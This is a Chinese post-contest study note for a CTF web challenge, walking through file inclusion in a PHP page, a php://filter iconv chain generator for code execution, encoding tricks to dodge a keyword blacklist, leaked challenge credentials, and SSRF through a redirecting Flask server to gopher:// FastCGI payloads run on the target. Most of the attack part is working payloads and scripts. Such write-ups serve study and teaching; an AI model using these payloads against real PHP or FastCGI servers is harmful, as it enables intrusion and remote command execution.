CTF-WEB: 目录穿越与伪协议 fastcgi gopher://协议利用 [第一届国城杯 signal] 赛后学习笔记

step 1

目录扫描得到 .index.php.swp

最近我朋友让我给他注册个账号,还想要在他的专属页面实现查看文件的功能。好吧,那就给他创个guest:MyF3iend,我是不可能给他我的admin账户的

step2

来到里面能看见

/guest.php?path=/tmp/hello.php

尝试

/guest.php?path=./guest.php

服务器直接崩溃了,当时觉得很奇怪,但是没注意,看了其他师傅的wp发现这是include()

尝试

/guest.php?+config-create+/&path=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET['cmd']);?>+/tmp/test.php

失败

ERROR: either use the CLI php executable, or set register_argc_argv=On in php.ini

继续

/guest.php?path=/var/lib/php5/sess_abb1ad4v4r5f8ls8dough3foan

被过滤了,继续

/guest.php?path=/proc/self/environ

被过滤了,继续

POST /guest.php?path=php://input%00 HTTP/1.1
Host: ip
Cache-Control: max-age=0
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=abb1ad4v4r5f8ls8dough3foan
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

<?php system('sleep(10)'); ?>

无效,继续

/guest.php?path=http://xxx.oastify.com/

无法出网,继续

# vulnerable file: index.php
# vulnerable parameter: file
# executed command: id
# executed PHP code: <?=`$_GET[0]`;;?>
curl "127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd"

还是不行,根据

Server: nginx/1.14.2

百度根目录

/usr/share/nginx/html

多次尝试不同过滤器,失败

/guest.php?path=php://filter//resource=/usr/share/nginx/html/guest.php

这个又崩服务器了

尝试绕过限制无果再看眼WP

/guest.php?path=php://filter/conv%2565rt.bas%256564-encode/resource=/var/www/html/guest.php

(这是预期解吗?看着不太像)

<?php
session_start();
error_reporting(0);

if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'guest' ) {
    $_SESSION['error'] = 'Please fill in the username and password';
    header('Location: index.php');
    exit();
}

if (!isset($_GET['path'])) {
    header("Location: /guest.php?path=/tmp/hello.php");
    exit;
}

$path = $_GET['path'];
if (preg_match('/(\.\.\/|php:\/\/tmp|string|iconv|base|rot|IS|data|text|plain|decode|SHIFT|BIT|CP|PS|TF|NA|SE|SF|MS|UCS|CS|UTF|quoted|log|sess|zlib|bzip2|convert|JP|VE|KR|BM|ISO|proc|\_)/i', $path)) {
    echo "Don't do this";
}else{
    include($path);
}
?>

我们再读一下 index

/guest.php?path=php://filter/conv%2565rt.bas%256564-encode/resource=/var/www/html/guest.php
<?php
// 启动一个新的会话,允许在多个页面之间存储和访问会话变量
session_start();
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8"> <!-- 设置字符编码为 UTF-8,以支持中文字符 -->
    <meta name="viewport" content="width=device-width, initial-scale=1.0"> <!-- 设置视口以支持响应式设计 -->
    <title>登录</title> <!-- 设置页面标题为“登录” -->
    <style>
        /* 页面基本样式设置 */
        body {
            margin: 0; /* 移除默认边距 */
            display: flex; /* 使用 Flexbox 布局使内容居中 */
            justify-content: center; /* 水平居中对齐 */
            align-items: center; /* 垂直居中对齐 */
            height: 100vh; /* 高度占满整个视口 */
            background: linear-gradient(135deg, #6dd5ed, #2193b0); /* 设置渐变背景 */
            font-family: Arial, sans-serif; /* 设置字体 */
            overflow: hidden; /* 隐藏溢出内容 */
            position: relative; /* 相对定位为后续绝对定位元素提供参考 */
        }

        /* 创建浮动效果的圆形元素 */
        body::before, body::after {
            content: ""; /* 生成内容为空的伪元素 */
            position: absolute; /* 绝对定位 */
            width: 400px; /* 设置宽度 */
            height: 400px; /* 设置高度 */
            border-radius: 50%; /* 圆形边框 */
            background: rgba(255, 255, 255, 0.1); /* 半透明背景 */
            animation: float 6s ease-in-out infinite; /* 设置浮动动画 */
            z-index: 0; /* 确保其位于背景层 */
        }

        /* 定义浮动动画的起始和结束位置 */
        body::before {
            top: -100px; /* 位置偏移 */
            right: -150px; /* 位置偏移 */
        }
        /* 定义另一个浮动元素的位置 */
        body::after {
            bottom: -150px; /* 位置偏移 */
            left: -200px; /* 位置偏移 */
        }
        
        /* 定义浮动动画效果 */
        @keyframes float {
            0% {
                transform: translate(0, 0); /* 动画起始状态 */
            }
            50% {
                transform: translate(-20px, -20px); /* 动画中间状态 */
            }
            100% {
                transform: translate(0, 0); /* 动画结束状态 */
            }
        }

        /* 登录框样式 */
        .login-container {
            background: rgba(255, 255, 255, 0.9); /* 半透明背景 */
            padding: 20px; /* 内边距 */
            border-radius: 10px; /* 圆角边框 */
            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.2); /* 阴影效果 */
            z-index: 1; /* 确保其位于上层 */
        }

        /* 输入框和按钮样式 */
        input[type="text"], input[type="password"] {
            width: 100%; /* 输入框宽度占满父容器 */
            padding: 10px; /* 内边距 */
            margin: 10px 0; /* 上下外边距 */
            border: 1px solid #ccc; /* 边框颜色 */
            border-radius: 5px; /* 圆角边框 */
        }

        /* 按钮样式 */
        input[type="submit"] {
            background-color: #2193b0; /* 按钮背景色 */
            color: white; /* 字体颜色 */
            border: none; /* 无边框 */
            padding: 10px; /* 内边距 */
            border-radius: 5px; /* 圆角边框 */
            cursor: pointer; /* 鼠标悬停时显示指针样式 */
            transition: background-color 0.3s; /* 背景色变化的过渡效果 */
        }

        /* 鼠标悬停时按钮效果 */
        input[type="submit"]:hover {
            background-color: #6dd5ed; /*

之前有一段话

最近我朋友让我给他注册个账号,还想要在他的专属页面实现查看文件的功能。好吧,那就给他创个guest:MyF3iend,我是不可能给他我的admin账户的

我们来试试有没有admin的专属页面,还真有

/guest.php?path=php://filter/conv%2565rt.bas%256564-encode/resource=/var/www/html/admin.php
<?php
// 开启Session
session_start();

// 关闭错误报告
error_reporting(0);

// 检查用户是否已经登录且用户名为'admin'
if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') {
    // 如果未登录或用户名不是'admin',设置错误信息并重定向到登录页面
    $_SESSION['error'] = 'Please fill in the username and password';
    header("Location: index.php");
    exit();
}

// 获取POST请求中的URL
$url = $_POST['url'];
$error_message = '';  // 初始化错误信息变量
$page_content = '';   // 初始化页面内容变量

// 检查是否有URL提交
if (isset($url)) {
    // 检查URL是否以'https://'开头
    if (!preg_match('/^https:\/\//', $url)) {
        // 如果URL无效,设置错误信息
        $error_message = 'Invalid URL, only https allowed';
    } else {
        // 初始化一个cURL会话
        $ch = curl_init();
        // 设置cURL选项
        curl_setopt($ch, CURLOPT_URL, $url);              // 设置要获取的URL
        curl_setopt($ch, CURLOPT_HEADER, 0);              // 不包括头信息
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);      // 跟随重定向
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);      // 返回结果而不是直接输出
        // 执行cURL会话
        $page_content = curl_exec($ch);
        // 检查cURL执行是否成功
        if ($page_content === false) {
            $error_message = 'Failed to fetch the URL content';  // 设置错误信息
        }
        // 关闭cURL会话
        curl_close($ch);
    }
}
?>
<!DOCTYPE html>
<html lang='en'>
<head>
    <meta charset='UTF-8'>
    <meta name='viewport' content='width=device-width, initial-scale=1.0'>
    <title>Welcome</title>
    <style>
        /* 页面样式 */
        body {
            margin: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            background: linear-gradient(135deg, #6dd5ed, #2193b0);
            font-family: Arial, sans-serif;
            overflow: hidden;
            position: relative;
        }

        body::before, body::after {
            content: '';
            position: absolute;
            width: 400px;
            height: 400px;
            border-radius: 50%;
            background: rgba(255, 255, 255, 0.1);
            animation: float 6s ease-in-out infinite;
            z-index: 0;
        }

        body::before {
            top: -100px;
            right: -150px;
        }

        body::after {
            bottom: -150px;
            left: -100px;
        }

        @keyframes float {
            0%, 100% { transform: translateY(0); }
            50% { transform: translateY(20px); }
        }

        .login-container {
            position: relative;
            z-index: 1;
            width: 350px;
            padding: 2rem;
            background-color: #ffffff;
            border-radius: 12px;
            text-align: center;
            box-shadow: 0px 4px 20px rgba(0, 0, 0, 0.2);
            backdrop-filter: blur(10px);
            transition: transform 0.3s ease;
        }

        .login-container:hover {
            transform: translateY(-5px);
        }

        .login-container h2 {
            margin-bottom: 1.5rem;
            color: #333;
            font-weight: bold;
        }

        .login-container input[type='text'] {
            width: 100%;
            padding: 0.75rem;
            margin: 0.5rem 0;
            border: 1px solid #ddd;
            border-radius: 5px;
            box-sizing: border-box;
            font-size: 1rem;
            outline: none;
            transition: border-color 0.3s ease;
        }

        .login-container input[type='text']:focus {
            border-color: #4CAF50;
            box-shadow: 0px 0px 5px rgba(76, 175, 80, 0.5);
        }

        .login-container button {
            width: 100%;
            padding: 0.75rem;
            margin-top: 1rem;
            background-color: #4CAF50;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 1rem;
            cursor: pointer;
            transition: background-color 0.3s, transform 0.3s;
            position: relative;
            overflow: hidden;
        }

        .login-container button:hover {
            background-color: #45a049;
            transform: translateY(-3px);
        }

        .login-container button:active {
            transform: translateY(1px);
        }

        .login-container p {
            margin-top: 1rem;
            color: #666;
            font-size: 0.9rem;
        }

        .error {
            color: red;
            margin-top: 0.5rem;
            text-align: center;
            font-size: 0.9rem;
        }

        .content {
            margin-top: 1rem;
            padding: 1rem;
            background-color: #f9f9f9;
            border: 1px solid #ddd;
            border-radius: 5px;
            word-wrap: break-word;
            max-height: 200px;
            overflow-y: auto;
        }
    </style>
</head>
<body>

<div class='login-container'>
    <h2>Welcome</h2>
    <p>网页查看,just do it😎</p>
    <form method='post' action=''>
        <input type='text' name='url' placeholder='Enter URL' required>
        <button type='submit'>Submit</button>
        <?php if (!empty($error_message)) : ?>
            <div class='error'><?= htmlspecialchars($error_message) ?></div>
        <?php endif; ?>
    </form>
    <?php if (!empty($page_content)) : ?>
        <div class='content'>
            <?= nl2br(htmlspecialchars($page_content)); ?>
        </div>
    <?php endif; ?>
</div>
</body>
</html>

没啥用,看看有没有login

/guest.php?path=php://filter/conv%2565rt.bas%256564-encode/resource=/var/www/html/%256cogin.php

没有,再回头试试

/guest.php?path=php://filter/conv%2565rt.bas%256564-encode/resource=/%2570roc/%25703elf/environ

投机取巧失败,只能用原wp的复杂方法了

import re

file_to_use = "/etc/passwd"

# <?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

not_allow = "string|iconv|base|rot|IS|data|text|plain|decode|SHIFT|BIT|CP|PS|TF|NA|SE|SF|MS|UCS|CS|UTF|quoted|log|sess|zlib|bzip2|convert|JP|VE|KR|BM|ISO|proc|_|ve|se"
not_allow = not_allow.split('|')
for i in not_allow:
        final_payload = final_payload.replace(i, ('%25'+(hex(ord(i[0]))[2:])+i[1:]))

url = 'http://125.70.243.22:31933/guest.php'
v = 'path'
cmd = 'ls'
final_payload = f'{url}?0={cmd}&{v}={final_payload}'

with open('payload', 'w') as f:
    f.write(final_payload)

"""
r = requests.get(url, params={
    "0": command,
    "action": "include",
    "file": final_payload
})

print(r.text)
"""

继续按预期解复现一遍

// 获取POST请求中的URL
$url = $_POST['url'];
$error_message = '';  // 初始化错误信息变量
$page_content = '';   // 初始化页面内容变量

// 检查是否有URL提交
if (isset($url)) {
    // 检查URL是否以'https://'开头
    if (!preg_match('/^https:\/\//', $url)) {
        // 如果URL无效,设置错误信息
        $error_message = 'Invalid URL, only https allowed';
    } else {
        // 初始化一个cURL会话
        $ch = curl_init();
        // 设置cURL选项
        curl_setopt($ch, CURLOPT_URL, $url);              // 设置要获取的URL
        curl_setopt($ch, CURLOPT_HEADER, 0);              // 不包括头信息
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);      // 跟随重定向
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);      // 返回结果而不是直接输出
        // 执行cURL会话
        $page_content = curl_exec($ch);
        // 检查cURL执行是否成功
        if ($page_content === false) {
            $error_message = 'Failed to fetch the URL content';  // 设置错误信息
        }
        // 关闭cURL会话
        curl_close($ch);
    }
}

在登录界面查看

<form action="StoredAccounts.php" method="POST">
        <label for="username">Username:</label>
        <input type="text" id="username" name="username" required=""><br><br>
        <label for="password">Password:</label>
        <input type="password" id="password" name="password" required=""><br><br>
        <input type="submit" value="Login">
    </form>

发现登录信息被发送到了StoredAccounts.php,我们读取获得admin密码

/guest.php?path=php://filter/conv%2565rt.bas%256564-encode/resource=/var/www/html/StoredAccounts.php
<?php
session_start();

$users = [
    'admin' => 'FetxRuFebAdm4nHace',
    'guest' => 'MyF3iend'
];

if (isset($_POST['username']) && isset($_POST['password'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];

    if (isset($users[$username]) && $users[$username] === $password) {
        $_SESSION['logged_in'] = true;
        $_SESSION['username'] = $username;

        if ($username === 'admin') {
            header('Location: admin.php');
        } else {
            header('Location: guest.php');
        }
        exit();
    } else {
        $_SESSION['error'] = 'Invalid username or password';
        header('Location: index.php');
        exit();
    }
} else {
    $_SESSION['error'] = 'Please fill in the username and password';
    header('Location: index.php');
    exit();
}

php的:curl_exec 接受 支持gopher://协议,我们直接抄一段poc

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3F%3E%00%00%00%00

虽然此处做出了限制

if (!preg_match('/^https:\/\//', $url)) {

但是允许重定向

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

但是我们可以搭建一个跳板服务器,并用花生壳内网穿透在公网部署服务器

from flask import Flask, redirect  
  
app = Flask(__name__)  
  
@app.route('/')  
def indexRedirect():  
    redirectUrl = 'https://your.com/ok'  
    return redirect(redirectUrl)  
  
@app.route('/ok')  
def ok():  
    return "<h1>Welcome to the OK page!</h1><p>This is the content of the OK page.</p>"  
  
if __name__ == '__main__':  
    app.run('0.0.0.0', port=11111, debug=True)

原wp会崩服务器,我们手动改下poc

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20=%20On%0Adisable_functions%20=%20%0Aauto_prepend_file%20=%20php://input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00:%04%00%3C?php%20system('whoami')?%3E%00%00%00%00

还是崩服务器,用工具吧,不手写了

Antabuse-123/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers

-----------Made-by-SpyD3r-----------
❯ python gopherus3.py --exploit fastcgi

      ________              .__                                ________  
     /  _____/  ____ ______ |  |__   ___________ __ __  ______ \_____  \                                                                                    
    /   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/   _(__  <                                                                                    
    \    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \   /       \                                                                                   
     \______  /\____/|   __/|___|  /\___  >__|  |____//____  > /______  /                                                                                   
            \/       |__|        \/     \/                 \/         \/                                                                                    
                                                                                                                                                            
                author: $_SpyD3r_$                                                                                                                          
                                                                                                                                                            
Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one:  /var/www/html/admin.php                                                                                 
Terminal command to run:  whoami

Your gopher link is ready to do SSRF:                                                                                                                       
                                                                                                                                                            
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

-----------Made-by-SpyD3r-----------

end 24.12.15 A5rZ

from flask import Flask, redirect  
  
app = Flask(__name__)  
  
@app.route('/')  
def indexRedirect():  
    redirectUrl = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00'  
    return redirect(redirectUrl)  
  
if __name__ == '__main__':  
    app.run('0.0.0.0', port=11111, debug=True)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值